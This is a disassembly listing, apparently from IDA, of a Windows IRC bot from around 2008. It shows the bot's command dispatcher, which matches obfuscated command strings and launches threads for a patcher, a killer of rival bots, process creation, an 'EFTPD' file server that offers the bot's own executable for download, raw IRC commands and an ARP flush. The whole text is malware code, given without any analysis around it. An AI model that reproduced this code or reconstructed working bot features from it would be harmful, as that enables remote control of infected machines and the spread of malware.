		cmp	[ebp+arg_18], 0
		jnz	short loc_404CF3
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aPatcher	; "Patcher"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_404CE9:				; CODE XREF: sub_403B2C+1199j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404CF3:				; CODE XREF: sub_403B2C+119Fj
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aPatcher	; "Patcher"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_404D04:				; CODE XREF: sub_403B2C+11E6j
		push	32h
		call	dword_42F15C	; Sleep


loc_404D0C:				; CODE XREF: sub_403B2C+1189j
		cmp	[ebp+var_3A0], esi
		jz	short loc_404D04
		mov	ebx, offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k."
		mov	esi, offset aSPatcherStarte ; "%s Patcher Started"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_404D23:				; CODE XREF: sub_403B2C+1107j
		push	dword ptr [esi]
		push	offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_404EB6
		push	0Dh
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_404D81
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset a8niowW5nrt1 ; "8nIOw/w5nRT1"
		jnz	short loc_404D6F
		cmp	[ebp+arg_18], 0
		jnz	short loc_404D79
		push	eax
		push	offset dword_435C14
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_404D6F:				; CODE XREF: sub_403B2C+1225j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404D79:				; CODE XREF: sub_403B2C+122Bj
		push	[ebp+arg_C]
		jmp	loc_404E58
; ---------------------------------------------------------------------------


loc_404D81:				; CODE XREF: sub_403B2C+1215j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_33E0],	eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_33E4],	eax
		push	dword ptr [edi+0Ch]
		lea	eax, [ebp+var_3490]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_3494],	eax
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_404DBC
		push	esi
		call	sub_422B5A
		pop	ecx
		jmp	short loc_404DC3
; ---------------------------------------------------------------------------


loc_404DBC:				; CODE XREF: sub_403B2C+1285j
		movzx	eax, word_439012


loc_404DC3:				; CODE XREF: sub_403B2C+128Ej
		mov	esi, offset dword_4552D0
		push	eax
		mov	ebx, offset a8niowW5nrt1 ; "8nIOw/w5nRT1"
		push	esi
		push	ebx
		push	offset aSRunningOnSI ; "%s Running on: [%s:%i]"
		push	0Dh
		mov	[ebp+var_33F4],	eax
		call	sub_41BED7
		add	esp, 14h
		mov	[ebp+var_3410],	eax
		lea	eax, [ebp+arg_6C]
		lea	ecx, [ebp+var_3494]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_41EE55
		push	eax
		push	eax
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_3410]
		imul	ecx, 1018h
		test	eax, eax
		mov	dword_46D414[ecx], eax
		jnz	short loc_404E6A
		cmp	[ebp+arg_14], eax
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_404E47
		cmp	[ebp+arg_18], eax
		jnz	short loc_404E51
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435C14
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_404E47:				; CODE XREF: sub_403B2C+12F8j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404E51:				; CODE XREF: sub_403B2C+12FDj
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax


loc_404E58:				; CODE XREF: sub_403B2C+1250j
		push	offset dword_435C14
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_404E62:				; CODE XREF: sub_403B2C+1345j
		push	32h
		call	dword_42F15C	; Sleep


loc_404E6A:				; CODE XREF: sub_403B2C+12EEj
		cmp	[ebp+var_33D8],	0
		jz	short loc_404E62
		cmp	[ebp+arg_14], 0
		jnz	short loc_404E9A
		cmp	[ebp+arg_18], 0
		jnz	short loc_404EA4
		push	[ebp+var_33F4]
		push	esi
		push	ebx
		push	offset aSRunningOnSI ; "%s Running on: [%s:%i]"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_404E9A:				; CODE XREF: sub_403B2C+134Bj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404EA4:				; CODE XREF: sub_403B2C+1351j
		push	[ebp+var_33F4]
		push	esi
		push	ebx
		push	offset aSRunningOnSI ; "%s Running on: [%s:%i]"
		jmp	loc_40AF47
; ---------------------------------------------------------------------------


loc_404EB6:				; CODE XREF: sub_403B2C+1202j
		push	dword ptr [esi]
		push	offset a_swwg1hqeii1 ; ".SWwg1hqeiI1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_404ECF
		push	offset dword_435C14
		push	0Dh
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_404ECF:				; CODE XREF: sub_403B2C+1395j
		push	dword ptr [esi]
		push	offset aS3dyJzo6r ; "s3dY//JZo6r/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_404F3D
		cmp	[ebp+arg_18], eax
		jnz	short loc_404F0A
		cmp	[ebp+arg_20], eax
		mov	eax, offset a_BuiltJun10200 ; ". Built:	Jun 10 2008."
		jnz	short loc_404EF0
		mov	eax, offset byte_44D6A4


loc_404EF0:				; CODE XREF: sub_403B2C+13BDj
		push	eax
		push	(offset	loc_439027+1)
		push	(offset	loc_439043+1)
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSSSS	; "%s %s (%s) %s"
		jmp	loc_408818
; ---------------------------------------------------------------------------


loc_404F0A:				; CODE XREF: sub_403B2C+13B3j
		cmp	[ebp+arg_20], eax
		mov	eax, offset a_BuiltJun10200 ; ". Built:	Jun 10 2008."
		jnz	short loc_404F19
		mov	eax, offset byte_44D6A4


loc_404F19:				; CODE XREF: sub_403B2C+13E6j
		push	eax
		push	(offset	loc_439027+1)
		push	(offset	loc_439043+1)
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSSSS	; "%s %s (%s) %s"


loc_404F2E:				; CODE XREF: sub_403B2C+1966j
					; sub_403B2C+49AEj ...
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		jmp	loc_408823
; ---------------------------------------------------------------------------


loc_404F3D:				; CODE XREF: sub_403B2C+13AEj
		push	dword ptr [esi]
		push	offset aPnb_aBfzu60 ; "pNb.a/Bfzu60"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_404FAF
		xor	ebx, ebx
		push	1
		push	ebx
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_418A1B
		push	eax
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		lea	eax, [ebp+var_14CAC]
		push	offset aSUptimeS ; "%s UPTime: (%s)"
		push	eax
		call	sub_422063
		add	esp, 1Ch
		cmp	[ebp+arg_14], ebx
		mov	esi, offset aS_1 ; "%s"
		jnz	short loc_404F9A
		cmp	[ebp+arg_18], ebx
		jnz	short loc_404FA3
		lea	eax, [ebp+var_14CAC]
		push	eax
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_404F9A:				; CODE XREF: sub_403B2C+1451j
		cmp	[ebp+arg_18], ebx
		jz	loc_40AF54


loc_404FA3:				; CODE XREF: sub_403B2C+1456j
		lea	eax, [ebp+var_14CAC]
		push	eax
		jmp	loc_40ADA0
; ---------------------------------------------------------------------------


loc_404FAF:				; CODE XREF: sub_403B2C+141Cj
		push	dword ptr [esi]
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40ADB3
		push	dword ptr [esi]
		push	offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40ADB3
		push	dword ptr [esi]
		push	offset a47ff020f_0_ ; "47Ff/020f.0."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4050F7
		mov	eax, [ebp+arg_10]
		push	offset dword_439644
		mov	[ebp+var_4D0], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_444], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_440], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_43C], eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	ebx
		push	offset aSBkillThread_ ;	"%s BKill thread."
		push	10h
		call	sub_41BED7
		add	esp, 0Ch
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_44C], eax
		mov	esi, offset aSBkillStarted ; "%s BKill Started"
		jnz	short loc_405054
		cmp	[ebp+arg_18], 0
		jnz	short loc_40505A
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_405054:				; CODE XREF: sub_403B2C+1510j
		cmp	[ebp+arg_18], 0
		jz	short loc_405069


loc_40505A:				; CODE XREF: sub_403B2C+1516j
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 10h


loc_405069:				; CODE XREF: sub_403B2C+152Cj
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_4D0]
		push	esi
		push	eax
		push	offset sub_417A90
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_44C]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_4050EA
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_4050C7
		cmp	[ebp+arg_18], 0
		jnz	short loc_4050D1
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aBkill	; "BKill"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4050C7:				; CODE XREF: sub_403B2C+1577j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4050D1:				; CODE XREF: sub_403B2C+157Dj
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aBkill	; "BKill"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_4050E2:				; CODE XREF: sub_403B2C+15C4j
		push	32h
		call	dword_42F15C	; Sleep


loc_4050EA:				; CODE XREF: sub_403B2C+156Cj
		cmp	[ebp+var_438], esi
		jz	short loc_4050E2
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4050F7:				; CODE XREF: sub_403B2C+14B0j
		push	dword ptr [esi]
		push	offset aHyomeIovtv_ ; "HyOMe/iovtV."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4053FB
		xor	ecx, ecx
		cmp	[esi+4], ecx
		jnz	short loc_40511E
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jmp	loc_40AD5F
; ---------------------------------------------------------------------------


loc_40511E:				; CODE XREF: sub_403B2C+15E1j
		mov	eax, [ebp+arg_14]
		mov	edx, [ebp+arg_20]
		mov	[ebp+var_66C], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_668], eax
		cmp	eax, ecx
		mov	[ebp+var_670], edx
		lea	eax, [ebp+var_71C]
		jnz	short loc_405148
		push	dword ptr [edi+0Ch]
		jmp	short loc_40514A
; ---------------------------------------------------------------------------


loc_405148:				; CODE XREF: sub_403B2C+1615j
		push	dword ptr [edi]


loc_40514A:				; CODE XREF: sub_403B2C+161Aj
		push	eax
		call	dword_42F04C	; lstrcpyA
		xor	eax, eax
		mov	[ebp+var_68C], eax
		mov	[ebp+var_688], eax
		mov	[ebp+var_684], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_720], eax
		push	dword ptr [esi+4]
		push	offset aPlsymAee6v1_0 ;	"PlsYM/aEe6v1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4051D2
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_41C254
		test	eax, eax
		pop	ecx
		jle	short loc_4051C1
		cmp	[ebp+arg_18], 0
		push	eax
		push	offset aProcs	; "Procs"
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	offset aSSAlreadyRunni ; "%s %s	Already	running	at thread number:"...
		jnz	short loc_4051AD
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		jmp	short loc_4051B7
; ---------------------------------------------------------------------------


loc_4051AD:				; CODE XREF: sub_403B2C+1672j
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491


loc_4051B7:				; CODE XREF: sub_403B2C+167Fj
		add	esp, 18h
		mov	eax, ebx
		jmp	loc_40AF57
; ---------------------------------------------------------------------------


loc_4051C1:				; CODE XREF: sub_403B2C+165Cj
		mov	[ebp+var_68C], ebx
		mov	esi, [esi+8]
		mov	[ebp+var_694], esi
		jmp	short loc_40523A
; ---------------------------------------------------------------------------


loc_4051D2:				; CODE XREF: sub_403B2C+164Ej
		push	dword ptr [esi+4]
		push	offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4051FD
		mov	esi, [esi+8]
		cmp	esi, eax
		jnz	short loc_4051F1
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jmp	loc_409FCE
; ---------------------------------------------------------------------------


loc_4051F1:				; CODE XREF: sub_403B2C+16B9j
		mov	[ebp+var_688], 1
		jmp	short loc_40522E
; ---------------------------------------------------------------------------


loc_4051FD:				; CODE XREF: sub_403B2C+16B2j
		push	dword ptr [esi+4]
		push	offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4052AC
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_405225
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_405225:				; CODE XREF: sub_403B2C+16E8j
		xor	eax, eax
		inc	eax
		mov	[ebp+var_688], eax


loc_40522E:				; CODE XREF: sub_403B2C+16CFj
		mov	[ebp+var_698], esi
		mov	[ebp+var_684], eax


loc_40523A:				; CODE XREF: sub_403B2C+16A4j
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	ebx
		push	offset aSProcs	; "%s Procs"
		push	1
		call	sub_41BED7
		add	esp, 0Ch
		mov	[ebp+var_69C], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_720]
		push	esi
		push	eax
		push	offset sub_418010
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_69C]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_4053B3
		cmp	[ebp+var_664], esi
		jnz	loc_40AF54


loc_405296:				; CODE XREF: sub_403B2C+1779j
		push	32h
		call	dword_42F15C	; Sleep
		cmp	[ebp+var_664], 0
		jz	short loc_405296
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4052AC:				; CODE XREF: sub_403B2C+16DDj
		push	dword ptr [esi+4]
		push	offset aUz3rf_vtkug1 ; "uz3rf.VTKug1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40AF54
		cmp	[esi+8], eax
		jnz	short loc_4052CD
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jmp	loc_40AD75
; ---------------------------------------------------------------------------


loc_4052CD:				; CODE XREF: sub_403B2C+1795j
		xor	ecx, ecx
		inc	ecx
		cmp	[esi+0Ch], eax
		jz	short loc_4052DB
		mov	[ebp+var_68C], ecx


loc_4052DB:				; CODE XREF: sub_403B2C+17A7j
		cmp	[ebp+arg_38], eax
		jz	short loc_4052E6
		mov	[ebp+var_688], ecx


loc_4052E6:				; CODE XREF: sub_403B2C+17B2j
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_5198]
		push	eax
		call	sub_422063
		xor	esi, esi
		pop	ecx
		cmp	[ebp+arg_30], esi
		pop	ecx
		jz	short loc_405339
		cmp	[ebp+arg_34], 0
		mov	bl, 5Fh
		jz	short loc_405309
		mov	bl, [ebp+arg_34]


loc_405309:				; CODE XREF: sub_403B2C+17D8j
		push	[ebp+var_698]
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_405339


loc_405319:				; CODE XREF: sub_403B2C+180Bj
		mov	eax, [ebp+var_698]
		add	eax, esi
		cmp	[eax], bl
		jnz	short loc_405328
		mov	byte ptr [eax],	20h


loc_405328:				; CODE XREF: sub_403B2C+17F7j
		push	[ebp+var_698]
		inc	esi
		call	sub_422120
		cmp	esi, eax
		pop	ecx
		jb	short loc_405319


loc_405339:				; CODE XREF: sub_403B2C+17D0j
					; sub_403B2C+17EBj
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		lea	eax, [ebp+var_5198]
		push	ebx
		push	offset aSCreateProcess ; "%s Create process thread."
		push	1
		mov	[ebp+var_698], eax
		call	sub_41BED7
		add	esp, 0Ch
		mov	[ebp+var_69C], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_720]
		push	esi
		push	eax
		push	offset sub_417CD7
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_69C]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	short loc_4053B3
		cmp	[ebp+var_664], esi
		jnz	loc_40AF54


loc_40539D:				; CODE XREF: sub_403B2C+1880j
		push	32h
		call	dword_42F15C	; Sleep
		cmp	[ebp+var_664], 0
		jz	short loc_40539D
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4053B3:				; CODE XREF: sub_403B2C+1758j
					; sub_403B2C+1863j
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_4053E0
		cmp	[ebp+arg_18], 0
		jnz	short loc_4053EA
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aProcs	; "Procs"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4053E0:				; CODE XREF: sub_403B2C+1890j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4053EA:				; CODE XREF: sub_403B2C+1896j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aProcs	; "Procs"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_4053FB:				; CODE XREF: sub_403B2C+15D6j
		push	dword ptr [esi]
		push	offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_405422
		mov	ecx, [ebp+arg_10]
		push	5
		push	7
		call	sub_410806
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_4110F4
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_405422:				; CODE XREF: sub_403B2C+18DAj
		push	dword ptr [esi]
		push	offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_405628
		push	9
		call	sub_41C254
		xor	ebx, ebx
		pop	ecx
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jle	short loc_405497
		cmp	[ebp+arg_14], ebx
		mov	esi, offset aPnmnw_7rscg0 ; "PnmNw.7RScG0"
		jnz	short loc_405474
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40547D
		push	dword_455398
		push	eax
		push	dword_44D680
		push	esi
		push	offset aSEftpdRunningO ; "%s EFTPD running on port: %i,	thread nu"...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_405474:				; CODE XREF: sub_403B2C+1920j
		cmp	[ebp+arg_18], ebx
		jz	loc_40AF54


loc_40547D:				; CODE XREF: sub_403B2C+1925j
		push	dword_455398
		push	[ebp+arg_C]
		push	dword_44D680
		push	esi
		push	offset aSEftpdRunningO ; "%s EFTPD running on port: %i,	thread nu"...
		jmp	loc_404F2E
; ---------------------------------------------------------------------------


loc_405497:				; CODE XREF: sub_403B2C+1916j
		cmp	dword_455600, ebx
		jnz	short loc_4054BA
		call	sub_4220FC
		cdq
		mov	ecx, 12CCh
		idiv	ecx
		add	edx, 400h
		mov	dword_4540A4, edx
		jmp	short loc_4054C6
; ---------------------------------------------------------------------------


loc_4054BA:				; CODE XREF: sub_403B2C+1971j
		movzx	eax, word_439010
		mov	dword_4540A4, eax


loc_4054C6:				; CODE XREF: sub_403B2C+198Cj
		mov	esi, offset dword_453E94
		push	104h
		push	esi
		push	ebx
		mov	dword_4540A0, ebx
		call	dword_42F154	; GetModuleFileNameA
		push	103h
		push	offset loc_439030
		push	offset dword_453F98
		call	sub_4222F0
		push	7Fh
		push	offset dword_439638
		push	offset dword_4540A8
		mov	dword_454134, ebx
		call	sub_4222F0
		mov	eax, [ebp+arg_14]
		push	esi
		push	dword_4540A4
		mov	dword_45412C, eax
		mov	eax, [ebp+arg_20]
		mov	esi, offset aPnmnw_7rscg0 ; "PnmNw.7RScG0"
		mov	dword_454130, eax
		mov	eax, [ebp+arg_10]
		push	esi
		push	offset aSServerStarted ; "%s Server started on Port: %i, File: %s"...
		push	9
		mov	dword_454138, eax
		call	sub_41BED7
		add	esp, 2Ch
		mov	dword_45409C, eax
		lea	eax, [ebp+arg_6C]
		push	eax
		push	ebx
		push	offset dword_453E90
		push	offset sub_402190
		push	ebx
		push	ebx
		call	dword_42F158	; CreateThread
		mov	ecx, dword_45409C
		imul	ecx, 1018h
		cmp	eax, ebx
		mov	dword_46D414[ecx], eax
		jnz	short loc_4055CD
		xor	eax, eax
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		cmp	[ebp+arg_14], eax
		mov	ebx, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jnz	short loc_4055AA
		cmp	[ebp+arg_18], eax
		jnz	short loc_4055B4
		cmp	[ebp+arg_1C], eax
		jnz	loc_40AF54
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aEftpd	; "EFTPD"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4055AA:				; CODE XREF: sub_403B2C+1A52j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4055B4:				; CODE XREF: sub_403B2C+1A57j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aEftpd	; "EFTPD"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_4055C5:				; CODE XREF: sub_403B2C+1AA7j
		push	32h
		call	dword_42F15C	; Sleep


loc_4055CD:				; CODE XREF: sub_403B2C+1A41j
		cmp	dword_454134, ebx
		jz	short loc_4055C5
		cmp	[ebp+arg_14], ebx
		jnz	short loc_405608
		cmp	[ebp+arg_18], ebx
		jnz	short loc_405611
		cmp	[ebp+arg_1C], ebx
		jnz	loc_40AF54
		push	dword_45409C
		push	dword_4540A4
		push	esi
		push	offset aSEftpdEnabledO ; "%s EFTPD enabled on port: %i,	thread nu"...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_405608:				; CODE XREF: sub_403B2C+1AACj
		cmp	[ebp+arg_18], ebx
		jz	loc_40AF54


loc_405611:				; CODE XREF: sub_403B2C+1AB1j
		push	dword_45409C
		push	dword_4540A4
		push	esi
		push	offset aSEftpdEnabledO ; "%s EFTPD enabled on port: %i,	thread nu"...
		jmp	loc_40AF47
; ---------------------------------------------------------------------------


loc_405628:				; CODE XREF: sub_403B2C+1901j
		push	dword ptr [esi]
		push	offset aAjttz06ztse1 ; "ajTtz06Ztse1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40564B
		mov	ecx, [ebp+arg_10]
		call	sub_41111B
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_4105B8
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40564B:				; CODE XREF: sub_403B2C+1B07j
		push	dword ptr [esi]
		push	offset aUn3hk0sn58o ; "uN3hk0sn58o/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40567A
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4056B4
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_40566B
		mov	esi, offset byte_44D6A4


loc_40566B:				; CODE XREF: sub_403B2C+1B38j
		mov	ecx, [ebp+arg_10]
		push	esi
		push	eax
		call	sub_410720
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40567A:				; CODE XREF: sub_403B2C+1B2Aj
		push	dword ptr [esi]
		push	offset aQrn4z10ge1i1 ; "QRn4z10ge1I1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40569C
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_4056B4
		mov	ecx, [ebp+arg_10]
		push	esi
		call	sub_41074B
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40569C:				; CODE XREF: sub_403B2C+1B59j
		push	dword ptr [esi]
		push	offset aBvuso0ed3mw ; "bVUSO0ed3MW/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_405777
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4056C3


loc_4056B4:				; CODE XREF: sub_403B2C+1B31j
					; sub_403B2C+1B60j
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aYuohiGmfzv	; "yUoHi/GMFZv/"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4056C3:				; CODE XREF: sub_403B2C+1B86j
		push	eax
		lea	eax, [ebp+var_9CAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	2
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_405724
		mov	ebx, 1000h


loc_4056E8:				; CODE XREF: sub_403B2C+1BF6j
		mov	eax, [esi+eax*4]
		test	eax, eax
		jz	short loc_405718
		push	eax
		lea	eax, [ebp+var_16CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_16CAC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_9CAC]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_405718:				; CODE XREF: sub_403B2C+1BC1j
		mov	eax, [ebp+arg_C]
		inc	eax
		cmp	eax, [ebp+arg_4]
		mov	[ebp+arg_C], eax
		jl	short loc_4056E8


loc_405724:				; CODE XREF: sub_403B2C+1BB5j
		lea	eax, [ebp+var_9CAC]
		push	eax
		push	[ebp+arg_10]
		call	sub_410772
		cmp	[ebp+arg_14], 0
		pop	ecx
		pop	ecx
		mov	ebx, offset aYuohiGmfzv	; "yUoHi/GMFZv/"
		mov	esi, offset aSSentIrcRawS_ ; "%s Sent IRC raw: \"%s\"."
		jnz	short loc_405762
		cmp	[ebp+arg_18], 0
		jnz	short loc_40576C
		lea	eax, [ebp+var_9CAC]
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_405762:				; CODE XREF: sub_403B2C+1C17j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40576C:				; CODE XREF: sub_403B2C+1C1Dj
		lea	eax, [ebp+var_9CAC]
		jmp	loc_4041AF
; ---------------------------------------------------------------------------


loc_405777:				; CODE XREF: sub_403B2C+1B7Bj
		push	dword ptr [esi]
		push	offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4057A5
		call	sub_41F630
		test	eax, eax
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		mov	esi, offset aSArpFlushed_ ; "%s	ARP flushed."
		jnz	loc_407722
		mov	esi, offset aSFailedToFlush ; "%s Failed to flush ARP."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4057A5:				; CODE XREF: sub_403B2C+1C56j
		push	dword ptr [esi]
		push	offset aWpuwr_6yfru ; "WpuWr.6YFRU/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4057E9
		mov	eax, dword_454218
		test	eax, eax
		jz	short loc_4057DA
